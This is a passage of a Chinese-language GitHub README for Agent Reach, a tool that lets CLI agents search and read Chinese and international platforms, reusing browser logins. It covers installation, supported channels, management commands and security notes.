\u79d2\u7ea7\u90e8\u7f72 OpenClaw \u5168\u80fd\u52a9\u624b\uff0c\u53ef\u901a\u8fc7\u5bf9\u8bdd\u4e1d\u6ed1\u63a5\u5165 Agent Reach\uff0c\u7ed9\u4f60\u7684 OpenClaw \u4e00\u952e\u88c5\u4e0a\u4e92\u8054\u7f51\u80fd\u529b\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\"><img alt=\"CoreClaw\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/coreclaw.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\">CoreClaw</a> | \u7f51\u9875\u6293\u53d6\u5e73\u53f0\u4e0e\u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0cCoreClaw \u63d0\u4f9b 100+ \u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0c\u652f\u6301 Amazon\u3001TikTok\u3001Google Maps\u3001Instagram\u3001Facebook\u3001YouTube \u7b49\u5e73\u53f0\uff0c\u65e0\u9700\u4ee3\u7801\uff0c\u652f\u6301 JSON/CSV \u5bfc\u51fa\uff0c\u4ec5\u5bf9\u6210\u529f\u7ed3\u679c\u8ba1\u8d39\u3002<a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\">\u514d\u8d39$3\u6d4b\u8bd5\uff01</a></td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.ucloud.cn/site/active/astraflow?ytag=geo_waituo_Agent\"><img alt=\"\u661f\u56fe AstraFlow\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/astraflow.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.ucloud.cn/site/active/astraflow?ytag=geo_waituo_Agent\">\u4f18\u523b\u5f97\u661f\u56feastraflow\u5927\u6a21\u578b</a>\uff0c\u652f\u6301200+\u6a21\u578b\u4e00\u952e\u8c03\u7528\uff1a\u5185\u7f6e Kimi K3\u3001DeepSeek V4/V3\u3001Qwen 3\u3001GLM5.2\u3001happyhorse\u7b49\u5168\u7403\u9886\u5148\u5f00\u6e90\u5927\u6a21\u578b\uff0c\u65e0\u9700\u81ea\u8bad\uff0c\u5f00\u7bb1\u5373\u7528</td> \n   </tr> \n  </tbody>\n </table> \n</details> \n<hr /> \n<h2>\u4e3a\u4ec0\u4e48\u9700\u8981 Agent Reach\uff1f</h2> \n<p><strong>Agent Reach \u8ba9\u4f60\u7684 Agent \u771f\u6b63\u8fde\u4e0a\u4e92\u8054\u7f51\uff0c\u7528\u4e0a\u5b83\u81ea\u5df1\u591f\u4e0d\u7740\u7684\u5e73\u53f0\u548c\u80fd\u529b\u3002</strong></p> \n<p>Claude Code\u3001Codex\u3001Hermes Agent\u3001OpenClaw \u8fd9\u7c7b CLI Agent \u81ea\u5e26\u641c\u7d22\u548c\u7f51\u9875\u8bfb\u53d6\uff0c\u4f46\u4e0b\u9762\u8fd9\u4e9b\u5b83\u4eec\u57fa\u672c\u591f\u4e0d\u7740\uff1a</p> \n<ul> \n <li><strong>\u8981\u767b\u5f55\u624d\u80fd\u7528\u7684\u529f\u80fd</strong>\uff1a\u5728\u5c0f\u7ea2\u4e66\u641c\u7b14\u8bb0\u3001\u5728 X \u67e5\u8d26\u53f7\u52a8\u6001\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5\u7b49\u3002</li> \n <li><strong>\u89c6\u9891\u91cc\u7684\u5185\u5bb9</strong>\uff1aB\u7ad9\u548c YouTube \u7684\u5b57\u5e55\uff0c\u4ee5\u53ca YouTube \u89c6\u9891\u3001\u5c0f\u5b87\u5b99\u64ad\u5ba2\u7684\u8bed\u97f3\u8f6c\u6587\u5b57\u3002</li> \n <li><strong>\u4e2d\u6587\u5e73\u53f0</strong>\uff1aB\u7ad9\u3001\u5c0f\u7ea2\u4e66\u3001V2EX\u3001\u96ea\u7403\uff0c\u901a\u7528\u641c\u7d22\u8986\u76d6\u5f88\u5dee\u3002</li> \n <li><strong>\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e</strong>\uff1a\u96ea\u7403\u884c\u60c5\u3001V2EX \u5e16\u5b50\u548c\u56de\u590d\u3001GitHub \u4ed3\u5e93\u548c issue\uff0c\u62ff\u5230\u7684\u662f\u6574\u7406\u597d\u7684\u5185\u5bb9\u3002</li> \n</ul> \n<p>Agent Reach \u628a\u8fd9\u4e9b\u5e73\u53f0\u80cc\u540e\u7684\u5de5\u5177\u66ff\u4f60\u88c5\u597d\u3001\u6d4b\u597d\uff0cAgent \u4e00\u6761\u547d\u4ee4\u5c31\u80fd\u7528\uff1a</p> \n<pre><code class=\"language-bash\">agent-reach channels                          # \u6709\u54ea\u4e9b\u6e20\u9053\u3001\u6bcf\u4e2a\u6e20\u9053\u80fd\u505a\u4ec0\u4e48\nagent-reach bilibili search \"\u5927\u6a21\u578b\"           # agent-reach &lt;\u6e20\u9053&gt; &lt;\u52a8\u4f5c&gt; [\u53c2\u6570]\nagent-reach read https://www.v2ex.com/t/123   # \u6309\u94fe\u63a5\u81ea\u52a8\u9009\u6e20\u9053\n</code></pre> \n<h3>\u2705 \u5728\u4f60\u7528\u4e4b\u524d\uff0c\u4f60\u53ef\u80fd\u60f3\u77e5\u9053</h3> \n<ul> \n <li><strong>\u9002\u7528\u4e8e\u54ea\u4e9b Agent\uff1f</strong> \u4e00\u5207 Agent \u90fd\u80fd\u7528\u3002</li> \n <li><strong>\u4f1a\u78b0\u6211\u7684\u6d4f\u89c8\u5668\u548c\u8d26\u53f7\u5417\uff1f</strong> \u8981\u767b\u5f55\u7684\u5e73\u53f0\u7528 Agent Reach \u81ea\u5df1\u7684\u4e13\u7528\u6d4f\u89c8\u5668\uff0c\u5728\u540e\u53f0\u8fd0\u884c\u3001\u4e0d\u5f39\u7a97\u3002\u7b2c\u4e00\u6b21\u7528\u67d0\u4e2a\u7f51\u7ad9\u65f6\uff0c\u4f1a\u628a\u4f60 Chrome \u91cc\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55\u590d\u5236\u4e00\u4efd\u8fc7\u53bb\uff0c\u539f\u6d4f\u89c8\u5668\u4e0d\u53d8\uff0c\u4e0d\u8bfb\u5bc6\u7801\u5e93\u3002\u590d\u5236\u8fc7\u6765\u7684\u901a\u5e38\u662f\u4e3b\u8d26\u53f7\uff0c\u5efa\u8bae\u6362\u6210\u5c0f\u53f7\uff0c\u505a\u6cd5\u89c1\u4e0b\u9762\u7684\"\u5b89\u5168\u6027\"\u3002\u8be6\u89c1<a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/agent_reach/skill/references/sessions.md\">\u4f1a\u8bdd\u914d\u7f6e</a>\u3002</li> \n</ul> \n<hr /> \n<h2>\u652f\u6301\u7684\u5e73\u53f0</h2> \n<p>\u4e0b\u8868\u662f\u5f53\u524d\u7248\u672c\u7684\u60c5\u51b5\u3002</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6e20\u9053</th> \n   <th>\u7b49\u7ea7</th> \n   <th>\u80fd\u505a\u4ec0\u4e48</th> \n   <th>\u9700\u8981\u4ec0\u4e48</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>bilibili</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u641c\u7d22\u3001\u89c6\u9891\u4fe1\u606f\u3001\u70ed\u95e8\u3001\u5b57\u5e55</td> \n   <td>\u65e0\uff1b\u5b57\u5e55\u9700\u8981\u767b\u5f55\uff08\u626b\u7801\uff09</td> \n  </tr> \n  <tr> \n   <td>v2ex</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u70ed\u95e8\u3001\u8282\u70b9\u3001\u5e16\u5b50\u548c\u56de\u590d\u3001\u7528\u6237</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>github</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u641c\u4ed3\u5e93\u3001\u8bfb\u4ed3\u5e93/README\u3001\u8bfb issue \u548c PR\uff08\u542b\u8bc4\u8bba\uff09</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>youtube</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u89c6\u9891\u4fe1\u606f\u3001\u641c\u7d22\u3001\u5b57\u5e55\u3001\u8bed\u97f3\u8f6c\u6587\u5b57</td> \n   <td>\u65e0\uff1b\u8f6c\u6587\u5b57\u9700\u8981 Groq \u6216 OpenAI Key</td> \n  </tr> \n  <tr> \n   <td>web</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u7f51\u9875\u641c\u7d22\u3001\u7f51\u9875\u9605\u8bfb\uff08\u4fdd\u5e95\uff09</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>xiaohongshu</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u7b14\u8bb0\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>xueqiu</td> \n   <td>\u53ef\u9009</td> \n   <td>\u5b9e\u65f6\u884c\u60c5\u3001\u641c\u80a1\u7968\u3001\u70ed\u5e16\u3001\u70ed\u80a1</td> \n   <td>\u884c\u60c5\u4e0d\u7528\u767b\u5f55\uff1b\u70ed\u5e16\u3001\u70ed\u80a1\u8981\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>boss</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u804c\u4f4d\u548c JD</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>xiaoyuzhou</td> \n   <td>\u53ef\u9009</td> \n   <td>\u64ad\u5ba2\u8f6c\u6587\u5b57</td> \n   <td>Groq Key</td> \n  </tr> \n  <tr> \n   <td>linkedin</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u804c\u4f4d\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5</td> \n   <td>\u516c\u5f00\u804c\u4f4d\u4e0d\u7528\u767b\u5f55\uff1b\u7ad9\u5185\u641c\u7d22\u8981\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>reddit</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u5e16\u5b50\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba\u3001\u770b\u7248\u5757</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>twitter</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u63a8\u6587\u3001\u7528\u6237\u8d44\u6599\u3001\u7528\u6237\u63a8\u6587\u3001\u8bfb\u63a8\u6587\u4e32</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>facebook</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u7d22\u3001\u4e3b\u9875\u8d44\u6599</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>instagram</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u7528\u6237\u3001\u4e3b\u9875\u8d44\u6599\u3001\u7528\u6237\u5e16\u5b50</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n </tbody> \n</table> \n<ul> \n <li><strong>\u9ed8\u8ba4</strong>\uff1a\u88c5\u597d\u5c31\u80fd\u7528\uff1b\u4e0d\u60f3\u8981\u4e5f\u53ef\u4ee5\u53bb\u6389\uff0c\u4ee5\u540e\u66f4\u65b0\u4e0d\u4f1a\u518d\u52a0\u56de\u6765\u3002</li> \n <li><strong>\u53ef\u9009</strong>\uff1a\u8bf4\u4e00\u53e5\"\u5e2e\u6211\u52a0\u4e0a XX\"\u5c31\u5f00\u542f\uff0c\u9700\u8981\u7684\u8f6f\u4ef6\u4f1a\u81ea\u52a8\u88c5\u597d\u3002</li> \n <li><strong>\u5b9e\u9a8c</strong>\uff1a\u80fd\u7528\uff0c\u4f46\u5e73\u53f0\u53cd\u722c\u66f4\u4e25\uff0c\u53ef\u80fd\u968f\u65f6\u5931\u6548\u3002</li> \n</ul> \n<hr /> \n<h2>\u5feb\u901f\u4e0a\u624b</h2> \n<p>\u628a\u8fd9\u53e5\u8bdd\u53d1\u7ed9\u4f60\u7684 Agent\uff1a</p> \n<pre><code>\u5e2e\u6211\u5b89\u88c5 Agent Reach\uff1ahttps://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/install.md\n</code></pre> \n<p>\u65e0\u8bba\u662f\u5b89\u88c5\u8fd8\u662f\u5347\u7ea7\uff0c\u90fd\u53ea\u9700\u8981\u8fd9\u4e00\u6761\u547d\u4ee4\u5c31\u884c\u4e86\u3002</p> \n<p>\u5269\u4e0b\u7684 Agent \u81ea\u5df1\u505a\u5b8c\u3002\u8fc7\u7a0b\u4e2d\u4f60\u53ef\u80fd\u4f1a\u88ab\u95ee\u5230\uff1a</p> \n<ul> \n <li><strong>\u5141\u8bb8\u5b83\u6267\u884c\u547d\u4ee4</strong>\uff1a\u5982\u679c Agent \u8bf4\u81ea\u5df1\u4e0d\u80fd\u8fd0\u884c\u547d\u4ee4\uff0c\u53bb\u5b83\u7684\u8bbe\u7f6e\u91cc\u6253\u5f00\"\u5141\u8bb8\u6267\u884c\u547d\u4ee4\"\u3002</li> \n <li><strong>\u88c5 uv</strong>\uff1auv \u662f\u4e00\u4e2a\u5b89\u88c5\u547d\u4ee4\u884c\u7a0b\u5e8f\u7684\u5c0f\u5de5\u5177\uff0c\u4e0d\u9700\u8981\u7ba1\u7406\u5458\u5bc6\u7801\u3002\u7535\u8111\u4e0a\u6ca1\u6709\u7684\u8bdd Agent \u4f1a\u5148\u88c5\u5b83\uff0c\u4f1a\u8ddf\u4f60\u8bf4\u4e00\u58f0\u3002</li> \n <li><strong>\u8981\u4e0d\u8981\u52a0\u53ef\u9009\u6e20\u9053</strong>\uff1a\u88c5\u5b8c\u540e Agent \u4f1a\u544a\u8bc9\u4f60\u54ea\u4e9b\u5df2\u7ecf\u80fd\u7528\uff08B\u7ad9\u3001V2EX\u3001GitHub\u3001YouTube\u3001\u7f51\u9875\uff09\uff0c\u4ee5\u53ca\u8fd8\u80fd\u52a0\u54ea\u4e9b\u3002\u4f60\u9009\u4e86\u518d\u52a0\uff0c\u4e5f\u53ef\u4ee5\u4ee5\u540e\u968f\u65f6\u8bf4\"\u5e2e\u6211\u52a0\u4e0a\u5c0f\u7ea2\u4e66\"\uff0c\u4e00\u6761\u547d\u4ee4\u5c31\u88c5\u597d\u3002</li> \n</ul> \n<p>\u5173\u4e8e\u767b\u5f55\uff1a\u90e8\u5206\u5e73\u53f0\u4f1a\u76f4\u63a5\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\u3002\u60f3\u6362\u6210\u67d0\u4e2a\u7279\u5b9a\u8d26\u53f7\uff08\u6bd4\u5982\u5c0f\u53f7\uff09\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002Agent \u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u4f1a\u8981\u4f60\u7684\u5bc6\u7801\u3002</p> \n<blockquote> \n <p>\u26a0\ufe0f PyPI \u4e0a\u53eb <code>agent-reach</code> \u7684\u5305\u4e0d\u662f\u672c\u9879\u76ee\uff0c\u8bf7\u52ff\u4ece PyPI \u5b89\u88c5\uff0c\u53ea\u7528 <a href=\"http://install.md\">install.md</a> \u91cc\u7684 GitHub \u5730\u5740\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u88c5\u597d\u4e4b\u540e\u600e\u4e48\u7ba1</h2> \n<p>Agent Reach \u88c5\u7684\u6240\u6709\u4e1c\u897f\uff08\u5404\u6e20\u9053\u7684\u5de5\u5177\u3001\u767b\u5f55\u3001\u8bbe\u7f6e\uff09\u90fd\u653e\u5728\u4f60\u7535\u8111\u4e0a\u540c\u4e00\u4e2a\u6587\u4ef6\u5939\u91cc\uff08<code>~/.agent-reach/</code>\uff09\uff0c\u4e0d\u6563\u843d\u5230\u522b\u5904\u3002\u6240\u4ee5\u5347\u7ea7\u3001\u7ba1\u7406\u3001\u5220\u9664\u90fd\u5f88\u7701\u4e8b\uff0c\u4e00\u53e5\u8bdd\u5c31\u884c\u3002</p> \n<p>\u76f4\u63a5\u7528\u5927\u767d\u8bdd\u8ddf Agent \u8bf4\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u4f60\u8bf4</th> \n   <th>\u5b83\u4f1a\u505a\u4ec0\u4e48</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\"\u770b\u770b Agent Reach \u72b6\u6001\"</td> \n   <td>\u544a\u8bc9\u4f60\u6bcf\u4e2a\u6e20\u9053\u73b0\u5728\u80fd\u4e0d\u80fd\u7528\uff0c\u54ea\u4e9b\u662f\u4e0a\u6b21\u8fd8\u597d\u3001\u73b0\u5728\u574f\u4e86</td> \n  </tr> \n  <tr> \n   <td>\"\u52a0\u4e0a\u5c0f\u7ea2\u4e66\" / \"\u53bb\u6389\u5c0f\u7ea2\u4e66\"</td> \n   <td>\u5f00\u542f\u5e76\u88c5\u597d\u5b83\u9700\u8981\u7684\u4e00\u5207 / \u5173\u6389\u5b83\uff0c\u6e05\u6389\u5b83\u7684\u767b\u5f55\u548c\u4e13\u7528\u5de5\u5177</td> \n  </tr> \n  <tr> \n   <td>\"\u5c0f\u7ea2\u4e66\u767b\u5f55\u8fc7\u671f\u4e86\" / \"\u6362\u4e2a\u8d26\u53f7\" / \"\u9000\u51fa\u767b\u5f55\"</td> \n   <td>\u6253\u5f00\u767b\u5f55\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u767b\u5f55 / \u6e05\u6389\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>\"\u5347\u7ea7 Agent Reach\"</td> \n   <td>\u4e00\u6b21\u66f4\u65b0\u7a0b\u5e8f\u548c\u5404\u6e20\u9053\u7684\u5de5\u5177\uff0c\u5e76\u544a\u8bc9\u4f60\u8fd8\u9700\u8981\u505a\u4ec0\u4e48</td> \n  </tr> \n  <tr> \n   <td>\"\u5378\u8f7d Agent Reach\"</td> \n   <td>\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220</td> \n  </tr> \n  <tr> \n   <td>\"\u8ba9\u53e6\u4e00\u4e2a AI \u4e5f\u80fd\u7528\"</td> \n   <td>\u7ed9\u90a3\u4e2a AI \u4e5f\u653e\u4e00\u4efd\u4f7f\u7528\u8bf4\u660e</td> \n  </tr> \n </tbody> \n</table> \n<p>\u51fa\u4e86\u95ee\u9898\uff0cAgent \u4f1a\u544a\u8bc9\u4f60\u662f\u54ea\u4e2a\u5e73\u53f0\u3001\u4ec0\u4e48\u539f\u56e0\u3001\u4e0b\u4e00\u6b65\u600e\u4e48\u505a\u3002\u5e38\u89c1\u95ee\u9898\u89c1 <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/troubleshooting.md\">troubleshooting.md</a>\u3002</p> \n<hr /> \n<h2>\u8bbe\u8ba1\u7406\u5ff5</h2> \n<h3>\ud83d\udd0c \u6bcf\u4e2a\u5e73\u53f0 = \u9996\u9009 + \u5907\u9009\u7684\u6709\u5e8f\u5de5\u5177\u5217\u8868</h3> \n<p>\u6bcf\u4e2a\u5e73\u53f0\u7684\u6bcf\u4e2a\u52a8\u4f5c\u90fd\u6709\u4e00\u4e2a\u6309\u987a\u5e8f\u5c1d\u8bd5\u7684\u5de5\u5177\u5217\u8868\u3002\u6bd4\u5982\u8bfb B\u7ad9\u89c6\u9891\u5148\u7528 bili-cli\uff0c\u5931\u8d25\u4e86\u81ea\u52a8\u6362 B\u7ad9\u516c\u5f00\u63a5\u53e3\uff1b\u8bfb\u7f51\u9875\u5148\u7528 Jina Reader\uff0c\u518d\u7528 Exa\u3002</p> \n<pre><code class=\"language-mermaid\">flowchart LR\n    A[Agent] --&gt;|agent-reach \u6e20\u9053 \u52a8\u4f5c| B[Agent Reach]\n    B --&gt; C{\u6309\u987a\u5e8f\u5c1d\u8bd5}\n    C --&gt;|\u9996\u9009| D[\u4e0a\u6e38\u5de5\u5177 1]\n    C --&gt;|\u5931\u8d25\u65f6\u5907\u9009| E[\u4e0a\u6e38\u5de5\u5177 2]\n    D --&gt; F[\u7ed3\u679c]\n    E --&gt; F\n    F --&gt; A\n</code></pre> \n<p>\u5e73\u53f0\u6539\u7248\u3001\u5de5\u5177\u5931\u6548\u662f\u5e38\u6001\u3002\u6362\u5de5\u5177\u53ea\u662f\u8c03\u6574\u8fd9\u4e2a\u5217\u8868\uff0cAgent \u7684\u7528\u6cd5\u4e0d\u53d8\u3002</p> \n<hr /> \n<h2>\u5b89\u5168\u6027</h2> \n<ul> \n <li><strong>\u53ea\u8bfb</strong>\uff1a\u53ea\u641c\u7d22\u548c\u8bfb\u53d6\uff0c\u4e0d\u53d1\u5e16\u3001\u4e0d\u8bc4\u8bba\u3001\u4e0d\u70b9\u8d5e\u3001\u4e0d\u79c1\u4fe1\u3002</li> \n <li><strong>\u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u8981\u4f60\u7684\u5bc6\u7801\u3002</strong> \u90e8\u5206\u5e73\u53f0\u4f1a\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\uff08\u53ea\u590d\u5236\u8fd9\u4e00\u4e2a\u7f51\u7ad9\uff0c\u539f\u6d4f\u89c8\u5668\u4e0d\u53d8\uff09\uff1b\u786e\u5b9e\u9700\u8981\u91cd\u65b0\u767b\u5f55\u65f6\u624d\u6253\u5f00\u4e13\u7528\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u5b8c\u6210\u3002</li> \n <li><strong>\u4e13\u7528\u6d4f\u89c8\u5668\u53ea\u5bf9\u4f60\u8fd9\u53f0\u7535\u8111\u5f00\u653e</strong>\uff0c\u522b\u7684\u7535\u8111\u8fde\u4e0d\u4e0a\u5b83\u3002</li> \n <li><strong>\u5efa\u8bae\u7528\u5c0f\u53f7\u767b\u5f55\u3002</strong> \u590d\u7528\u8fc7\u6765\u7684\u901a\u5e38\u662f\u4e3b\u8d26\u53f7\uff0c\u800c\u5e73\u53f0\u53ef\u80fd\u9650\u5236\u81ea\u52a8\u8bbf\u95ee\u7684\u8d26\u53f7\u3002\u60f3\u6362\u6210\u5c0f\u53f7\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002</li> \n <li><strong>Key \u4e0d\u8981\u53d1\u5728\u804a\u5929\u91cc</strong>\uff1a\u5728\u4f60\u81ea\u5df1\u7684\u7ec8\u7aef\u91cc\u8fd0\u884c <code>agent-reach configure groq-key</code> \u586b\u5199\u3002</li> \n</ul> \n<h3>\ud83d\uddd1\ufe0f \u5378\u8f7d</h3> \n<p>\u8ddf Agent \u8bf4\"\u5378\u8f7d Agent Reach\"\u3002\u5b83\u4f1a\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220\u3002\u53ea\u5220 Agent Reach \u81ea\u5df1\u88c5\u7684\u4e1c\u897f\uff0c\u4f60\u7684\u5176\u4ed6\u6587\u4ef6\u548c\u6d4f\u89c8\u5668\u90fd\u4e0d\u52a8\u3002\u6700\u540e\u5b83\u4f1a\u544a\u8bc9\u4f60\u600e\u4e48\u5220\u6389\u7a0b\u5e8f\u672c\u8eab\u3002</p> \n<hr /> \n<h2>\u2b50 \u4e3a\u4ec0\u4e48\u503c\u5f97 Star</h2> \n<p>\u8fd9\u4e2a\u9879\u76ee\u6211\u81ea\u5df1\u6bcf\u5929\u5728\u7528\uff0c\u6240\u4ee5\u6211\u4f1a\u4e00\u76f4\u7ef4\u62a4\u5b83\u3002</p> \n<ul> \n <li>\u6709\u65b0\u9700\u6c42\u6216\u8005\u5927\u5bb6\u63d0\u4e86\u60f3\u8981\u7684\u6e20\u9053\uff0c\u6211\u4f1a\u9646\u7eed\u52a0\u4e0a</li> \n <li>\u6bcf\u4e2a\u6e20\u9053\u6211\u4f1a\u5c3d\u91cf\u4fdd\u8bc1<strong>\u80fd\u7528\u3001\u597d\u7528\u3001\u514d\u8d39</strong></li> \n <li>\u5e73\u53f0\u6539\u4e86\u53cd\u722c\u6216\u8005 API \u53d8\u4e86\uff0c\u6211\u4f1a\u60f3\u529e\u6cd5\u89e3\u51b3</li> \n</ul> \n<p>Star \u4e00\u4e0b\uff0c\u4e0b\u6b21\u9700\u8981\u7684\u65f6\u5019\u80fd\u627e\u5230\u3002\u2b50</p> \n<hr /> \n<h2>\u81f4\u8c22</h2> \n<p><a href=\"https://github.com/jackwener/opencli\">OpenCLI</a> \u00b7 <a href=\"https://github.com/public-clis/bilibili-cli\">bili-cli</a> \u00b7 <a href=\"https://github.com/can4hou6joeng4/boss-agent-cli\">boss-agent-cli</a> \u00b7 <a href=\"https://github.com/yt-dlp/yt-dlp\">yt-dlp</a> \u00b7 <a href=\"https://github.com/jina-ai/reader\">Jina Reader</a> \u00b7 <a href=\"https://exa.ai\">Exa</a></p> \n<h2>\u8054\u7cfb</h2> \n<ul> \n <li>\ud83d\udce7 <strong>Email:</strong> <a href=\"mailto:pnt01@foxmail.com\">pnt01@foxmail.com</a></li> \n <li>\ud83d\udc26 <strong>Twitter/X:</strong> <a href=\"https://x.com/Neo_Reidlab\">@Neo_Reidlab</a></li> \n</ul> \n<h2>\u4e1a\u52a1\u5408\u4f5c / \u4ea4\u6d41\u7fa4</h2> \n<p>\u6709\u76f8\u5173\u5408\u4f5c\uff0c\u6216\u8005\u60f3\u52a0\u4ea4\u6d41\u7fa4\uff0c\u52a0\u6211\u5fae\u4fe1\uff0c\u6216\u76f4\u63a5\u52a0\u5165 Discord \u793e\u533a\uff1a</p> \n<p align=\"center\"> <img alt=\"WeChat QR\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/wechat-group-qr.jpg\" width=\"280\" /> &nbsp;&nbsp; <a href=\"https://discord.gg/NSZz22R39\"><img alt=\"\u52a0\u5165 Agent Reach Discord \u793e\u533a\" src=\"https://img.shields.io/badge/Discord-%E5%8A%A0%E5%85%A5%E7%A4%BE%E5%8C%BA-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white\" /></a> </p> \n<blockquote> \n <p>Bug \u53cd\u9988\u548c\u529f\u80fd\u8bf7\u6c42\u8bf7\u7528 <a href=\"https://github.com/Panniantong/Agent-Reach/issues\">GitHub Issues</a>\uff0c\u66f4\u5bb9\u6613\u8ddf\u8e2a\u3002</p> \n</blockquote> \n<h2>\u9632\u9a97\u63d0\u9192</h2> \n<p>Agent Reach \u6ca1\u6709\u5b98\u65b9\u4ee3\u5e01\u3001\u5e01\u3001\u6295\u8d44\u4ea7\u54c1\u3001\u9886\u53d6\u624b\u7eed\u8d39\u6d3b\u52a8\u3001\u94b1\u5305\u8fde\u63a5\uff0c\u4e5f\u6ca1\u6709 Solana/Pump.fun \u9879\u76ee\u3002\u4efb\u4f55\u501f\u7528 Agent Reach \u540d\u5b57\u3001GitHub \u5730\u5740\u6216\u4f5c\u8005\u8eab\u4efd\u7684\u52a0\u5bc6\u9879\u76ee\u90fd\u4e0e\u672c\u4ed3\u5e93\u65e0\u5173\uff0c\u8bf7\u52ff\u636e\u6b64\u8fde\u63a5\u94b1\u5305\u6216\u9886\u53d6\u4efb\u4f55\u8d39\u7528\u3002</p> \n<h2>License</h2> \n<p><a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/LICENSE\">MIT</a></p> \n<h2>\u53cb\u60c5\u94fe\u63a5</h2> \n<p><a href=\"https://agentskillshub.top/\">Agent Skills Hub</a> \u2014 \u627e Claude \u6280\u80fd\u548c MCP \u670d\u52a1\u5668\uff0c\u4e0d\u7528\u731c\u54ea\u4e2a\u5b89\u5168\uff1a133,000+ \u4e2a\u6761\u76ee\u5168\u90e8\u5b89\u5168\u5206\u7ea7\u3001\u8d28\u91cf\u8bc4\u5206\uff0c\u6bcf 8 \u5c0f\u65f6\u5237\u65b0\u3002</p> \n<p><a href=\"https://atomgit.com/qq_51337814/Agent-Reach\">AtomGit \u955c\u50cf</a> \u2014 Agent Reach \u7684 AtomGit \u540c\u6b65\u955c\u50cf\uff0c\u4fbf\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0e\u514b\u9686\u3002</p> \n<h2>Star History</h2> \n<p><a href=\"https://www.star-history.com/?type=date&amp;repos=Panniantong%2FAgent-Reach\">\n  \n   <source media=\"(prefers-color-scheme: dark)\" />\n   <source media=\"(prefers-color-scheme: light)\" />\n   <img alt=\"Star History Chart\" src=\"https://api.star-history.com/chart?repos=Panniantong/Agent-Reach&amp;type=date&amp;legend=top-left&amp;sealed_token=P2746KOq7grpS8Q-nrqEzci1-Z0-dOw-M3KEqju-l3TyF24NMyRDR7TnxdReJWlXyomoT4mjjqC28-2-c2G6CnzmS1hgYdEDiGPmLkmEqKP5tgjORXshdrUFxoSxTqmIKEMFFmGZUX1v3ec-q_XMyftTVWzluiQH7CvKoZ1uDKU3PJN05mO22u7qlLeG\" />\n  </a></p>", "summary": "<p>Give your AI agent eyes to see 